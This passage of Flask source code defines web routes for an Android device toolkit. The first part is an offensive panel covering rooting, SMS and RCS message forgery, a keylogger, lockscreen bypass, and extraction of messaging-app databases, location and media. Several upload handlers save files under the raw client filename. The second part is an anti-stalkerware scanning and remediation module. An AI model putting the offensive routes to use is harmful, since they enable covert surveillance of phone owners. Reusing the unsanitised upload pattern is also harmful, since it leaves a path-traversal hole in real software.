serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().flash_recovery(serial, upload_path))
@android_exploit_bp.route('/boot/flash-boot', methods=['POST'])
@login_required
def boot_flash_boot():
serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().flash_boot(serial, upload_path))
@android_exploit_bp.route('/boot/disable-verity', methods=['POST'])
@login_required
def boot_disable_verity():
# Supports both JSON and form upload
if request.content_type and 'multipart' in request.content_type:
serial = request.form.get('serial', '').strip()
f = request.files.get('file')
vbmeta = None
if f:
from core.paths import get_uploads_dir
vbmeta = str(get_uploads_dir() / f.filename)
f.save(vbmeta)
else:
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
vbmeta = None
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_get_mgr().disable_verity(serial, vbmeta))
@android_exploit_bp.route('/boot/temp-boot', methods=['POST'])
@login_required
def boot_temp():
serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().boot_temp(serial, upload_path))
# ── Root Methods ──────────────────────────────────────────────────
@android_exploit_bp.route('/root/check', methods=['POST'])
@login_required
def root_check():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().check_root(serial))
@android_exploit_bp.route('/root/install-magisk', methods=['POST'])
@login_required
def root_install_magisk():
serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().install_magisk(serial, upload_path))
@android_exploit_bp.route('/root/pull-patched', methods=['POST'])
@login_required
def root_pull_patched():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().pull_patched_boot(serial))
@android_exploit_bp.route('/root/exploit', methods=['POST'])
@login_required
def root_exploit():
serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().root_via_exploit(serial, upload_path))
# ── SMS Manipulation ─────────────────────────────────────────────
@android_exploit_bp.route('/sms/list', methods=['POST'])
@login_required
def sms_list():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
limit = int(data.get('limit', 50))
address = data.get('address', '').strip() or None
return jsonify(_get_mgr().sms_list(serial, limit=limit, address=address))
@android_exploit_bp.route('/sms/insert', methods=['POST'])
@login_required
def sms_insert():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
address = data.get('address', '').strip()
body = data.get('body', '').strip()
if not address or not body:
return jsonify({'error': 'Missing address or body'})
return jsonify(_get_mgr().sms_insert(
serial, address, body,
date_str=data.get('date') or None,
time_str=data.get('time') or None,
msg_type=data.get('type', 'inbox'),
read=data.get('read', True),
))
@android_exploit_bp.route('/sms/bulk-insert', methods=['POST'])
@login_required
def sms_bulk_insert():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
messages = data.get('messages', [])
if not messages:
return jsonify({'error': 'No messages provided'})
return jsonify(_get_mgr().sms_bulk_insert(serial, messages))
@android_exploit_bp.route('/sms/update', methods=['POST'])
@login_required
def sms_update():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
sms_id = data.get('id', '').strip()
if not sms_id:
return jsonify({'error': 'No SMS id provided'})
return jsonify(_get_mgr().sms_update(
serial, sms_id,
body=data.get('body'),
date_str=data.get('date'),
time_str=data.get('time'),
address=data.get('address'),
msg_type=data.get('type'),
read=data.get('read'),
))
@android_exploit_bp.route('/sms/delete', methods=['POST'])
@login_required
def sms_delete():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
sms_id = data.get('id', '').strip() if data.get('id') else None
address = data.get('address', '').strip() if data.get('address') else None
delete_all_from = data.get('delete_all_from', False)
return jsonify(_get_mgr().sms_delete(serial, sms_id=sms_id, address=address,
delete_all_from=delete_all_from))
@android_exploit_bp.route('/sms/delete-all', methods=['POST'])
@login_required
def sms_delete_all():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().sms_delete_all(serial))
# ── RCS Spoofing ─────────────────────────────────────────────────
@android_exploit_bp.route('/rcs/check', methods=['POST'])
@login_required
def rcs_check():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().rcs_check_support(serial))
@android_exploit_bp.route('/rcs/list', methods=['POST'])
@login_required
def rcs_list():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
limit = int(data.get('limit', 50))
return jsonify(_get_mgr().rcs_list(serial, limit=limit))
@android_exploit_bp.route('/rcs/insert', methods=['POST'])
@login_required
def rcs_insert():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
address = data.get('address', '').strip()
body = data.get('body', '').strip()
if not address or not body:
return jsonify({'error': 'Missing address or body'})
return jsonify(_get_mgr().rcs_insert(
serial, address, body,
date_str=data.get('date') or None,
time_str=data.get('time') or None,
sender_name=data.get('sender_name') or None,
is_outgoing=data.get('is_outgoing', False),
))
@android_exploit_bp.route('/rcs/delete', methods=['POST'])
@login_required
def rcs_delete():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
msg_id = data.get('id', '')
if not msg_id:
return jsonify({'error': 'No message id provided'})
return jsonify(_get_mgr().rcs_delete(serial, int(msg_id)))
# ── Screen & Input ───────────────────────────────────────────────
@android_exploit_bp.route('/screen/capture', methods=['POST'])
@login_required
def screen_capture():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().screen_capture(serial))
@android_exploit_bp.route('/screen/record', methods=['POST'])
@login_required
def screen_record():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 10))
return jsonify(_get_mgr().screen_record(serial, duration=duration))
@android_exploit_bp.route('/screen/tap', methods=['POST'])
@login_required
def screen_tap():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().input_tap(serial, data.get('x', 0), data.get('y', 0)))
@android_exploit_bp.route('/screen/swipe', methods=['POST'])
@login_required
def screen_swipe():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().input_swipe(serial, data.get('x1',0), data.get('y1',0),
data.get('x2',0), data.get('y2',0),
int(data.get('duration', 300))))
@android_exploit_bp.route('/screen/text', methods=['POST'])
@login_required
def screen_text():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
text = data.get('text', '')
if not text:
return jsonify({'error': 'No text provided'})
return jsonify(_get_mgr().input_text(serial, text))
@android_exploit_bp.route('/screen/key', methods=['POST'])
@login_required
def screen_key():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().input_keyevent(serial, data.get('keycode', 3)))
@android_exploit_bp.route('/screen/keylogger-start', methods=['POST'])
@login_required
def keylogger_start():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().start_keylogger(serial))
@android_exploit_bp.route('/screen/keylogger-stop', methods=['POST'])
@login_required
def keylogger_stop():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().stop_keylogger(serial))
@android_exploit_bp.route('/screen/dismiss-lock', methods=['POST'])
@login_required
def dismiss_lock():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().dismiss_lockscreen(serial))
@android_exploit_bp.route('/screen/disable-lock', methods=['POST'])
@login_required
def disable_lock():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().disable_lockscreen(serial))
# ── Advanced: Data ───────────────────────────────────────────────
@android_exploit_bp.route('/adv/clipboard', methods=['POST'])
@login_required
def adv_clipboard():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_clipboard(serial))
@android_exploit_bp.route('/adv/notifications', methods=['POST'])
@login_required
def adv_notifications():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().dump_notifications(serial))
@android_exploit_bp.route('/adv/location', methods=['POST'])
@login_required
def adv_location():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_location(serial))
@android_exploit_bp.route('/adv/media-list', methods=['POST'])
@login_required
def adv_media_list():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().extract_media_list(serial, media_type=data.get('type', 'photos')))
@android_exploit_bp.route('/adv/media-pull', methods=['POST'])
@login_required
def adv_media_pull():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().pull_media_folder(serial, media_type=data.get('type', 'photos'),
limit=int(data.get('limit', 50))))
@android_exploit_bp.route('/adv/whatsapp', methods=['POST'])
@login_required
def adv_whatsapp():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_whatsapp_db(serial))
@android_exploit_bp.route('/adv/telegram', methods=['POST'])
@login_required
def adv_telegram():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_telegram_db(serial))
@android_exploit_bp.route('/adv/signal', methods=['POST'])
@login_required
def adv_signal():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_signal_db(serial))
@android_exploit_bp.route('/adv/fingerprint', methods=['POST'])
@login_required
def adv_fingerprint():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_device_fingerprint(serial))
@android_exploit_bp.route('/adv/settings', methods=['POST'])
@login_required
def adv_settings():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().dump_all_settings(serial))
# ── Advanced: Network ────────────────────────────────────────────
@android_exploit_bp.route('/adv/network-info', methods=['POST'])
@login_required
def adv_network_info():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_network_info(serial))
@android_exploit_bp.route('/adv/proxy-set', methods=['POST'])
@login_required
def adv_proxy_set():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
port = data.get('port', '').strip()
if not host or not port:
return jsonify({'error': 'Missing host or port'})
return jsonify(_get_mgr().set_proxy(serial, host, port))
@android_exploit_bp.route('/adv/proxy-clear', methods=['POST'])
@login_required
def adv_proxy_clear():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().clear_proxy(serial))
@android_exploit_bp.route('/adv/wifi-scan', methods=['POST'])
@login_required
def adv_wifi_scan():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().wifi_scan(serial))
@android_exploit_bp.route('/adv/wifi-connect', methods=['POST'])
@login_required
def adv_wifi_connect():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().wifi_connect(serial, data.get('ssid',''), data.get('password','')))
@android_exploit_bp.route('/adv/adb-wifi', methods=['POST'])
@login_required
def adv_adb_wifi():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().enable_adb_wifi(serial, int(data.get('port', 5555))))
@android_exploit_bp.route('/adv/capture-traffic', methods=['POST'])
@login_required
def adv_capture():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().capture_traffic(serial,
interface=data.get('interface', 'any'),
duration=int(data.get('duration', 30)),
pcap_filter=data.get('filter', '')))
# ── Advanced: System ─────────────────────────────────────────────
@android_exploit_bp.route('/adv/selinux', methods=['POST'])
@login_required
def adv_selinux():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().set_selinux(serial, data.get('mode', 'permissive')))
@android_exploit_bp.route('/adv/remount', methods=['POST'])
@login_required
def adv_remount():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().remount_system(serial))
@android_exploit_bp.route('/adv/logcat-sensitive', methods=['POST'])
@login_required
def adv_logcat():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().logcat_sensitive(serial, int(data.get('duration', 10))))
@android_exploit_bp.route('/adv/processes', methods=['POST'])
@login_required
def adv_processes():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_running_processes(serial))
@android_exploit_bp.route('/adv/ports', methods=['POST'])
@login_required
def adv_ports():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_open_ports(serial))
@android_exploit_bp.route('/adv/modify-setting', methods=['POST'])
@login_required
def adv_modify_setting():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
ns = data.get('namespace', '').strip()
key = data.get('key', '').strip()
value = data.get('value', '').strip()
if not ns or not key:
return jsonify({'error': 'Missing namespace or key'})
return jsonify(_get_mgr().modify_setting(serial, ns, key, value))
@android_exploit_bp.route('/adv/app-disable', methods=['POST'])
@login_required
def adv_app_disable():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().disable_app(serial, package))
@android_exploit_bp.route('/adv/app-enable', methods=['POST'])
@login_required
def adv_app_enable():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().enable_app(serial, package))
@android_exploit_bp.route('/adv/app-clear', methods=['POST'])
@login_required
def adv_app_clear():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().clear_app_data(serial, package))
@android_exploit_bp.route('/adv/app-launch', methods=['POST'])
@login_required
def adv_app_launch():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().launch_app(serial, package))
@android_exploit_bp.route('/adv/content-query', methods=['POST'])
@login_required
def adv_content_query():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
uri = data.get('uri', '').strip()
if not uri:
return jsonify({'error': 'No URI provided'})
return jsonify(_get_mgr().content_query(serial, uri,
projection=data.get('projection', ''), where=data.get('where', '')))
# ── WebUSB Direct Mode: Command Relay ────────────────────────────────
@android_exploit_bp.route('/cmd', methods=['POST'])
@login_required
def get_direct_commands():
"""Return ADB shell command(s) for an operation without executing them.
Used by WebUSB Direct mode: browser executes via HWDirect.adbShell().
Returns one of:
{commands: ['cmd1', 'cmd2', ...]} — shell operations
{pullPath: '/device/path'} — file pull operations
{error: 'message'} — unsupported operation
"""
data = request.get_json(silent=True) or {}
op = data.get('op', '')
params = data.get('params', {})
result = _get_mgr().get_commands_for_op(op, params)
return jsonify(result)
@android_exploit_bp.route('/parse', methods=['POST'])
@login_required
def parse_direct_output():
"""Parse raw ADB shell output from WebUSB Direct mode execution.
Takes the raw text output and returns the same structured JSON
that the normal server-mode endpoint would return.
"""
data = request.get_json(silent=True) or {}
op = data.get('op', '')
params = data.get('params', {})
raw = data.get('raw', '')
result = _get_mgr().parse_op_output(op, params, raw)
return jsonify(result)

View File

@@ -0,0 +1,837 @@
"""Android Protection Shield routes — anti-stalkerware/spyware scanning and remediation."""
import os
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
android_protect_bp = Blueprint('android_protect', __name__, url_prefix='/android-protect')
def _mgr():
from core.android_protect import get_android_protect_manager
return get_android_protect_manager()
def _serial():
"""Extract serial from JSON body, form data, or query params."""
data = request.get_json(silent=True) or {}
serial = data.get('serial') or request.form.get('serial') or request.args.get('serial', '')
return str(serial).strip() if serial else ''
# ── Main Page ───────────────────────────────────────────────────────
@android_protect_bp.route('/')
@login_required
def index():
from core.hardware import get_hardware_manager
hw = get_hardware_manager()
status = hw.get_status()
sig_stats = _mgr().get_signature_stats()
return render_template('android_protect.html', status=status, sig_stats=sig_stats)
# ── Scan Routes ─────────────────────────────────────────────────────
@android_protect_bp.route('/scan/quick', methods=['POST'])
@login_required
def scan_quick():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().quick_scan(serial))
@android_protect_bp.route('/scan/full', methods=['POST'])
@login_required
def scan_full():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().full_protection_scan(serial))
@android_protect_bp.route('/scan/export', methods=['POST'])
@login_required
def scan_export():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
scan = _mgr().full_protection_scan(serial)
return jsonify(_mgr().export_scan_report(serial, scan))
@android_protect_bp.route('/scan/stalkerware', methods=['POST'])
@login_required
def scan_stalkerware():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_stalkerware(serial))
@android_protect_bp.route('/scan/hidden', methods=['POST'])
@login_required
def scan_hidden():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_hidden_apps(serial))
@android_protect_bp.route('/scan/admins', methods=['POST'])
@login_required
def scan_admins():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_device_admins(serial))
@android_protect_bp.route('/scan/accessibility', methods=['POST'])
@login_required
def scan_accessibility():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_accessibility_services(serial))
@android_protect_bp.route('/scan/listeners', methods=['POST'])
@login_required
def scan_listeners():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_notification_listeners(serial))
@android_protect_bp.route('/scan/spyware', methods=['POST'])
@login_required
def scan_spyware():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_spyware_indicators(serial))
@android_protect_bp.route('/scan/integrity', methods=['POST'])
@login_required
def scan_integrity():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_system_integrity(serial))
@android_protect_bp.route('/scan/processes', methods=['POST'])
@login_required
def scan_processes():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_suspicious_processes(serial))
@android_protect_bp.route('/scan/certs', methods=['POST'])
@login_required
def scan_certs():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_certificates(serial))
@android_protect_bp.route('/scan/network', methods=['POST'])
@login_required
def scan_network():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_network_config(serial))
@android_protect_bp.route('/scan/devopt', methods=['POST'])
@login_required
def scan_devopt():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_developer_options(serial))
# ── Permission Routes ───────────────────────────────────────────────
@android_protect_bp.route('/perms/dangerous', methods=['POST'])
@login_required
def perms_dangerous():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().find_dangerous_apps(serial))
@android_protect_bp.route('/perms/analyze', methods=['POST'])
@login_required
def perms_analyze():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_mgr().analyze_app_permissions(serial, package))
@android_protect_bp.route('/perms/heatmap', methods=['POST'])
@login_required
def perms_heatmap():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().permission_heatmap(serial))
# ── Remediation Routes ──────────────────────────────────────────────
@android_protect_bp.route('/fix/disable', methods=['POST'])
@login_required
def fix_disable():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().disable_threat(serial, package))
@android_protect_bp.route('/fix/uninstall', methods=['POST'])
@login_required
def fix_uninstall():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().uninstall_threat(serial, package))
@android_protect_bp.route('/fix/revoke', methods=['POST'])
@login_required
def fix_revoke():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().revoke_dangerous_perms(serial, package))
@android_protect_bp.route('/fix/remove-admin', methods=['POST'])
@login_required
def fix_remove_admin():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().remove_device_admin(serial, package))
@android_protect_bp.route('/fix/remove-cert', methods=['POST'])
@login_required
def fix_remove_cert():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
cert_hash = data.get('cert_hash', '').strip()
if not serial or not cert_hash:
return jsonify({'error': 'Serial and cert_hash required'})
return jsonify(_mgr().remove_ca_cert(serial, cert_hash))
@android_protect_bp.route('/fix/clear-proxy', methods=['POST'])
@login_required
def fix_clear_proxy():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().clear_proxy(serial))
# ── Shizuku Routes ──────────────────────────────────────────────────
@android_protect_bp.route('/shizuku/status', methods=['POST'])
@login_required
def shizuku_status():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().shizuku_status(serial))
@android_protect_bp.route('/shizuku/install', methods=['POST'])
@login_required
def shizuku_install():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
# Handle file upload
if 'apk' in request.files:
from flask import current_app
f = request.files['apk']
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
path = os.path.join(upload_dir, 'shizuku.apk')
f.save(path)
return jsonify(_mgr().install_shizuku(serial, path))
data = request.get_json(silent=True) or {}
apk_path = data.get('apk_path', '').strip()
if not apk_path:
return jsonify({'error': 'No APK provided'})
return jsonify(_mgr().install_shizuku(serial, apk_path))
@android_protect_bp.route('/shizuku/start', methods=['POST'])
@login_required
def shizuku_start():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().start_shizuku(serial))
# ── Shield App Routes ──────────────────────────────────────────────
@android_protect_bp.route('/shield/status', methods=['POST'])
@login_required
def shield_status():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().check_shield_app(serial))
@android_protect_bp.route('/shield/install', methods=['POST'])
@login_required
def shield_install():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
if 'apk' in request.files:
from flask import current_app
f = request.files['apk']
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
path = os.path.join(upload_dir, 'shield.apk')
f.save(path)
return jsonify(_mgr().install_shield_app(serial, path))
data = request.get_json(silent=True) or {}
apk_path = data.get('apk_path', '').strip()
if not apk_path:
return jsonify({'error': 'No APK provided'})
return jsonify(_mgr().install_shield_app(serial, apk_path))
@android_protect_bp.route('/shield/configure', methods=['POST'])
@login_required
def shield_configure():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
config = data.get('config', {})
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().configure_shield(serial, config))
@android_protect_bp.route('/shield/permissions', methods=['POST'])
@login_required
def shield_permissions():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().grant_shield_permissions(serial))
# ── Database Routes ─────────────────────────────────────────────────
@android_protect_bp.route('/db/stats', methods=['POST'])
@login_required
def db_stats():
return jsonify(_mgr().get_signature_stats())
@android_protect_bp.route('/db/update', methods=['POST'])
@login_required
def db_update():
return jsonify(_mgr().update_signatures())
# ── Honeypot Routes ────────────────────────────────────────────────
@android_protect_bp.route('/honeypot/status', methods=['POST'])
@login_required
def honeypot_status():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().honeypot_status(serial))
@android_protect_bp.route('/honeypot/scan-trackers', methods=['POST'])
@login_required
def honeypot_scan_trackers():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_tracker_apps(serial))
@android_protect_bp.route('/honeypot/scan-tracker-perms', methods=['POST'])
@login_required
def honeypot_scan_tracker_perms():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().scan_tracker_permissions(serial))
@android_protect_bp.route('/honeypot/ad-settings', methods=['POST'])
@login_required
def honeypot_ad_settings():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().get_tracking_settings(serial))
@android_protect_bp.route('/honeypot/reset-ad-id', methods=['POST'])
@login_required
def honeypot_reset_ad_id():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().reset_advertising_id(serial))
@android_protect_bp.route('/honeypot/opt-out', methods=['POST'])
@login_required
def honeypot_opt_out():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().opt_out_ad_tracking(serial))
@android_protect_bp.route('/honeypot/set-dns', methods=['POST'])
@login_required
def honeypot_set_dns():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
provider = data.get('provider', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
if not provider:
return jsonify({'error': 'No provider specified'})
return jsonify(_mgr().set_private_dns(serial, provider))
@android_protect_bp.route('/honeypot/clear-dns', methods=['POST'])
@login_required
def honeypot_clear_dns():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().clear_private_dns(serial))
@android_protect_bp.route('/honeypot/disable-location-scan', methods=['POST'])
@login_required
def honeypot_disable_location_scan():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().disable_location_accuracy(serial))
@android_protect_bp.route('/honeypot/disable-diagnostics', methods=['POST'])
@login_required
def honeypot_disable_diagnostics():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().disable_usage_diagnostics(serial))
@android_protect_bp.route('/honeypot/restrict-background', methods=['POST'])
@login_required
def honeypot_restrict_background():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().restrict_app_background(serial, package))
@android_protect_bp.route('/honeypot/revoke-tracker-perms', methods=['POST'])
@login_required
def honeypot_revoke_tracker_perms():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().revoke_tracker_permissions(serial, package))
@android_protect_bp.route('/honeypot/clear-tracker-data', methods=['POST'])
@login_required
def honeypot_clear_tracker_data():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
package = data.get('package', '').strip()
if not serial or not package:
return jsonify({'error': 'Serial and package required'})
return jsonify(_mgr().clear_app_tracking_data(serial, package))
@android_protect_bp.route('/honeypot/force-stop-trackers', methods=['POST'])
@login_required
def honeypot_force_stop_trackers():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().force_stop_trackers(serial))
@android_protect_bp.route('/honeypot/deploy-hosts', methods=['POST'])
@login_required
def honeypot_deploy_hosts():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().deploy_hosts_blocklist(serial))
@android_protect_bp.route('/honeypot/remove-hosts', methods=['POST'])
@login_required
def honeypot_remove_hosts():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().remove_hosts_blocklist(serial))
@android_protect_bp.route('/honeypot/hosts-status', methods=['POST'])
@login_required
def honeypot_hosts_status():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().get_hosts_status(serial))
@android_protect_bp.route('/honeypot/iptables-setup', methods=['POST'])
@login_required
def honeypot_iptables_setup():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
port = data.get('port', 9040)
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().setup_iptables_redirect(serial, port))
@android_protect_bp.route('/honeypot/iptables-clear', methods=['POST'])
@login_required
def honeypot_iptables_clear():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().clear_iptables_redirect(serial))
@android_protect_bp.route('/honeypot/fake-location', methods=['POST'])
@login_required
def honeypot_fake_location():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
lat = data.get('lat')
lon = data.get('lon')
if not serial:
return jsonify({'error': 'No serial provided'})
if lat is None or lon is None:
return jsonify({'error': 'lat and lon required'})
return jsonify(_mgr().set_fake_location(serial, float(lat), float(lon)))
@android_protect_bp.route('/honeypot/random-location', methods=['POST'])
@login_required
def honeypot_random_location():
serial = _serial()
if not serial:
return jsonify({'error': 'No serial provided'})
return jsonify(_mgr().set_random_fake_location(serial))
@android_protect_bp.route('/honeypot/clear-location', methods=['POST'])
@login_required
def honeypot_clear_location():
serial = _serial()
if not serial:
